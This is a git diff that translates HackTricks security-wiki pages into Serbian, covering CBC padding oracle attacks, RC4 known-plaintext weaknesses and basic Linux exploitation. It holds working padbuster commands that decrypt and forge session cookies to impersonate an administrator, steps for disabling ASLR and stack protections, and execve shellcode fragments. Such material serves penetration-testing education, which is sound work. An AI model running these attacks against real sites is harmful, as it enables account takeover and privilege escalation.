-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
- - diff --git a/cryptography/padding-oracle-priv.md b/cryptography/padding-oracle-priv.md index 4a5994b5c..42b15863f 100644 --- a/cryptography/padding-oracle-priv.md +++ b/cryptography/padding-oracle-priv.md @@ -1,91 +1,81 @@ - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
# CBC - Cipher Block Chaining -In CBC mode the **previous encrypted block is used as IV** to XOR with the next block: +U CBC režimu, **prethodni šifrovani blok se koristi kao IV** za XOR sa sledećim blokom: ![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png) -To decrypt CBC the **opposite** **operations** are done: +Za dešifrovanje CBC-a se vrše **suprotne operacije**: ![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png) -Notice how it's needed to use an **encryption** **key** and an **IV**. +Primetite kako je potrebno koristiti **ključ za šifrovanje** i **IV**. -# Message Padding +# Poravnavanje poruke -As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\ -Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`. +Pošto se šifrovanje vrši u **fiksnim veličinama blokova**, obično je potrebno poravnavanje u **poslednjem bloku** da bi se kompletirala njegova dužina.\ +Obično se koristi **PKCS7**, koji generiše poravnavanje **ponavljanjem** **broja** **bajtova** **potrebnih** da se kompletira blok. Na primer, ako poslednjem bloku nedostaju 3 bajta, poravnavanje će biti `\x03\x03\x03`. -Let's look at more examples with a **2 blocks of length 8bytes**: +Pogledajmo još primera sa **2 bloka dužine 8 bajta**: -| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | +| bajt #0 | bajt #1 | bajt #2 | bajt #3 | bajt #4 | bajt #5 | bajt #6 | bajt #7 | bajt #0 | bajt #1 | bajt #2 | bajt #3 | bajt #4 | bajt #5 | bajt #6 | bajt #7 | | ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | | P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** | | P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** | | P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** | | P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | -Note how in the last example the **last block was full so another one was generated only with padding**. +Primetite kako je u poslednjem primeru **poslednji blok bio pun pa je generisan još jedan samo sa poravnavanjem**. # Padding Oracle -When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**. +Kada aplikacija dešifruje šifrovane podatke, prvo će dešifrovati podatke, a zatim će ukloniti poravnavanje. Tokom čišćenja poravnavanja, ako **neispravno poravnavanje izazove detektovano ponašanje**, imate **ranjivost padding orakla**. Detektovano ponašanje može biti **greška**, **nedostatak rezultata** ili **sporiji odgovor**. -If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**. +Ako detektujete ovo ponašanje, možete **dešifrovati šifrovane podatke** i čak **šifrovati bilo koji čisti tekst**. -## How to exploit - -You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do +## Kako iskoristiti +Možete koristiti [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) da iskoristite ovu vrstu ranjivosti ili jednostavno uraditi ``` sudo apt-get install padbuster ``` - -In order to test if the cookie of a site is vulnerable you could try: - +Da biste testirali da li je kolačić sajta ranjiv, možete pokušati: ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" ``` +**Kodiranje 0** znači da se koristi **base64** (ali dostupni su i drugi, proverite meni za pomoć). -**Encoding 0** means that **base64** is used (but others are available, check the help menu). - -You could also **abuse this vulnerability to encrypt new data. For example, imagine that the content of the cookie is "**_**user=MyUsername**_**", then you may change it to "\_user=administrator\_" and escalate privileges inside the application. You could also do it using `paduster`specifying the -plaintext** parameter: - +Takođe možete **zloupotrebiti ovu ranjivost da biste šifrovali nove podatke. Na primer, zamislite da je sadržaj kolačića "**_**user=MyUsername**_**", tada ga možete promeniti u "\_user=administrator\_" i povećati privilegije unutar aplikacije. Takođe to možete uraditi koristeći `padbuster` i navodeći parametar -plaintext**. ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" ``` - -If the site is vulnerable `padbuster`will automatically try to find when the padding error occurs, but you can also indicating the error message it using the **-error** parameter. - +Ako je sajt ranjiv, `padbuster` će automatski pokušati da pronađe kada se javlja greška u paddingu, ali možete takođe navesti poruku o grešci koristeći parametar **-error**. ```bash perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" ``` +## Teorija -## The theory - -In **summary**, you can start decrypting the encrypted data by guessing the correct values that can be used to create all the **different paddings**. Then, the padding oracle attack will start decrypting bytes from the end to the start by guessing which will be the correct value that **creates a padding of 1, 2, 3, etc**. +U **kratkim crtama**, možete početi dešifrovati šifrovane podatke tako što ćete pogađati tačne vrednosti koje mogu biti korišćene za stvaranje svih **različitih punjenja**. Zatim, napad na orakl za punjenje će početi dešifrovati bajtove od kraja prema početku pogađajući koja će biti tačna vrednost koja **stvara punjenje od 1, 2, 3, itd**. ![](<../.gitbook/assets/image (629) (1) (1).png>) -Imagine you have some encrypted text that occupies **2 blocks** formed by the bytes from **E0 to E15**.\ -In order to **decrypt** the **last** **block** (**E8** to **E15**), the whole block passes through the "block cipher decryption" generating the **intermediary bytes I0 to I15**.\ -Finally, each intermediary byte is **XORed** with the previous encrypted bytes (E0 to E7). So: +Zamislite da imate neki šifrovani tekst koji zauzima **2 bloka** formirana bajtovima od **E0 do E15**.\ +Da biste **dešifrovali** **poslednji** **blok** (**E8** do **E15**), ceo blok prolazi kroz "dešifrovanje blok šifre" generišući **posredne bajtove I0 do I15**.\ +Na kraju, svaki posredni bajt se **XORuje** sa prethodnim šifrovanim bajtovima (E0 do E7). Dakle: * `C15 = D(E15) ^ E7 = I15 ^ E7` * `C14 = I14 ^ E6` @@ -93,44 +83,42 @@ Finally, each intermediary byte is **XORed** with the previous encrypted bytes ( * `C12 = I12 ^ E4` * ... -Now, It's possible to **modify `E7` until `C15` is `0x01`**, which will also be a correct padding. So, in this case: `\x01 = I15 ^ E'7` +Sada je moguće **izmeniti `E7` sve dok je `C15` `0x01`**, što će takođe biti ispravno punjenje. Dakle, u ovom slučaju: `\x01 = I15 ^ E'7` -So, finding E'7, it's **possible to calculate I15**: `I15 = 0x01 ^ E'7` +Dakle, pronalaženjem E'7, moguće je izračunati I15: `I15 = 0x01 ^ E'7` -Which allow us to **calculate C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` +Što nam omogućava da **izračunamo C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` -Knowing **C15**, now it's possible to **calculate C14**, but this time brute-forcing the padding `\x02\x02`. +Znajući **C15**, sada je moguće **izračunati C14**, ali ovaj put brute-force metodom koristeći punjenje `\x02\x02`. -This BF is as complex as the previous one as it's possible to calculate the the `E''15` whose value is 0x02: `E''7 = \x02 ^ I15` so it's just needed to find the **`E'14`** that generates a **`C14` equals to `0x02`**.\ -Then, do the same steps to decrypt C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** +Ovaj BF je jednako složen kao i prethodni, jer je moguće izračunati E''15 čija je vrednost 0x02: `E''7 = \x02 ^ I15` tako da je potrebno samo pronaći **`E'14`** koji generiše **`C14` jednak `0x02`**.\ +Zatim, uradite iste korake da biste dešifrovali C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** -**Follow this chain until you decrypt the whole encrypted text.** +**Pratite ovaj lanac dok ne dešifrujete ceo šifrovani tekst.** -## Detection of the vulnerability +## Otkrivanje ranjivosti -Register and account and log in with this account .\ -If you **log in many times** and always get the **same cookie**, there is probably **something** **wrong** in the application. The **cookie sent back should be unique** each time you log in. If the cookie is **always** the **same**, it will probably always be valid and there **won't be anyway to invalidate i**t. +Registrujte nalog i prijavite se sa tim nalogom.\ +Ako se **mnoštvo puta prijavite** i uvek dobijete **isti kolačić**, verovatno postoji **nešto** **pogrešno** u aplikaciji. Kolačić koji se vraća trebao bi biti jedinstven svaki put kada se prijavite. Ako je kolačić **uvek** isti, verovatno će uvek biti validan i neće biti načina da se on poništi. -Now, if you try to **modify** the **cookie**, you can see that you get an **error** from the application.\ -But if you BF the padding (using padbuster for example) you manage to get another cookie valid for a different user. This scenario is highly probably vulnerable to padbuster. +Sada, ako pokušate **izmeniti** kolačić, možete videti da dobijate **grešku** od aplikacije.\ +Ali ako BF punjenje (koristeći na primer padbuster) uspete da dobijete drugi kolačić koji je validan za drugog korisnika. Ovaj scenario je vrlo verovatno ranjiv na padbuster. -## References +## Reference * [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini da podržite HackTricks: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite svoju **kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
- - diff --git a/cryptography/rc4-encrypt-and-decrypt.md b/cryptography/rc4-encrypt-and-decrypt.md index e951992a4..b51d93bd3 100644 --- a/cryptography/rc4-encrypt-and-decrypt.md +++ b/cryptography/rc4-encrypt-and-decrypt.md @@ -1,23 +1,21 @@ - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-If you can somehow encrypt a plaintext using RC4, you can decrypt any content encrypted by that RC4 (using the same password) just using the encryption function. +Ako na neki način možete šifrovati plaintext koristeći RC4, možete dešifrovati bilo koji sadržaj koji je šifrovan tim RC4 (koristeći istu lozinku) samo koristeći funkciju šifrovanja. -If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine: +Ako možete šifrovati poznati plaintext, takođe možete izvući lozinku. Više referenci možete pronaći na HTB Kryptos mašini: {% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} @@ -29,16 +27,14 @@ If you can encrypt a known plaintext you can also extract the password. More ref
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
- - diff --git a/emails-vulns.md b/emails-vulns.md index 61765ef5f..664d216e6 100644 --- a/emails-vulns.md +++ b/emails-vulns.md @@ -1,16 +1,16 @@ -# Emails Vulnerabilities +# Vulnerabilnosti e-pošte
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
@@ -20,14 +20,14 @@ Other ways to support HackTricks:
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
diff --git a/exploiting/linux-exploiting-basic-esp/README.md b/exploiting/linux-exploiting-basic-esp/README.md index deff517c3..23e4ab016 100644 --- a/exploiting/linux-exploiting-basic-esp/README.md +++ b/exploiting/linux-exploiting-basic-esp/README.md @@ -1,81 +1,75 @@ -# Linux Exploiting (Basic) (SPA) +# Linux Exploiting (Osnovno) (SRB) -## Linux Exploiting (Basic) (SPA) +## Linux Exploiting (Osnovno) (SRB)
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
## **ASLR** -Aleatorización de direcciones +Aleatorizacija adresa -**Desactiva aleatorizacion(ASLR) GLOBAL (root)**:\ +**Isključivanje globalne aleatorizacije (ASLR) (root)**:\ echo 0 > /proc/sys/kernel/randomize\_va\_space\ -Reactivar aletorizacion GLOBAL: echo 2 > /proc/sys/kernel/randomize\_va\_space +Ponovno uključivanje globalne aleatorizacije: echo 2 > /proc/sys/kernel/randomize\_va\_space -**Desactivar para una ejecución** (no requiere root):\ -setarch \`arch\` -R ./ejemplo argumentos\ -setarch \`uname -m\` -R ./ejemplo argumentos +**Isključivanje za jedno izvršavanje** (ne zahteva root):\ +setarch \`arch\` -R ./primer argumenti\ +setarch \`uname -m\` -R ./primer argumenti -**Desactivar protección de ejecución en pila**\ -gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack ejemplo.c -o ejemplo +**Isključivanje zaštitne izvršne zaštite na steku**\ +gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack primer.c -o primer -**Core file**\ +**Core fajl**\ ulimit -c unlimited\ -gdb /exec core\_file\ +gdb /exec core\_fajl\ /etc/security/limits.conf -> \* soft core unlimited -**Text**\ -**Data**\ +**Tekst**\ +**Podaci**\ **BSS**\ **Heap** -**Stack** - -**Sección BSS**: Variables globales o estáticas sin inicializar +**Stek** +**BSS sekcija**: Globalne ili statičke neinicijalizovane promenljive ``` static int i; ``` - -**Sección DATA**: Variables globales o estáticas inicializadas - +**Odeljak DATA**: Globalne ili statičke inicijalizovane promenljive ``` int i = 5; ``` +**Odeljak TEXT**: Uputstva za kod (opkodovi) -**Sección TEXT**: Instrucciones del código (opcodes) +**Odeljak HEAP**: Dinamički rezervisani baferi (malloc(), calloc(), realloc()) -**Sección HEAP**: Buffer reservados de forma dinánima (malloc(), calloc(), realloc() ) +**Odeljak STACK**: Stog (prosleđeni argumenti, okruženje niske (env), lokalne promenljive...) -**Sección STACK**: La pila (Argumentos pasados, cadenas de entorno (env), variables locales…) +## **1. STACK PREKORAČENJA** -## **1.STACK OVERFLOWS** +> prekoračenje bafera, prekoračenje stoga, prekoračenje steka, uništavanje steka -> buffer overflow, buffer overrun, stack overrun, stack smashing - -Fallo de segmentación o violación de segmento: Cuando se intenta acceder a una dirección de memoria que no ha sido asignada al proceso. - -Para obtener la dirección de una función dentro de un programa se puede hacer: +Segmentacija greške ili segmentacija kršenja: Kada se pokuša pristupiti memorijskoj adresi koja nije dodeljena procesu. +Da biste dobili adresu funkcije unutar programa, možete koristiti: ``` objdump -d ./PROGRAMA | grep FUNCION ``` - ## ROP -### Call to sys\_execve +### Poziv na sys\_execve {% content-ref url="rop-syscall-execv.md" %} [rop-syscall-execv.md](rop-syscall-execv.md) @@ -83,39 +77,36 @@ objdump -d ./PROGRAMA | grep FUNCION ## **2.SHELLCODE** -Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_” +Pregledajte prekide kernela: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_” setreuid(0,0); // \_\_NR\_setreuid 70\ execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\ exit(0); // \_\_NR\_exit 1 -xor eax, eax ; limpiamos eax\ -xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar\ +xor eax, eax ; čistimo eax\ +xor ebx, ebx ; ebx = 0 jer nema argumenata za prosleđivanje\ mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\ -int 0x80 ; Ejecutar syscall +int 0x80 ; Izvršavanje syscall-a -**nasm -f elf assembly.asm** —> Nos devuelve un .o\ -**ld assembly.o -o shellcodeout** —> Nos da un ejecutable formado por el código ensamblador y podemos sacar los opcodes con **objdump**\ -**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los 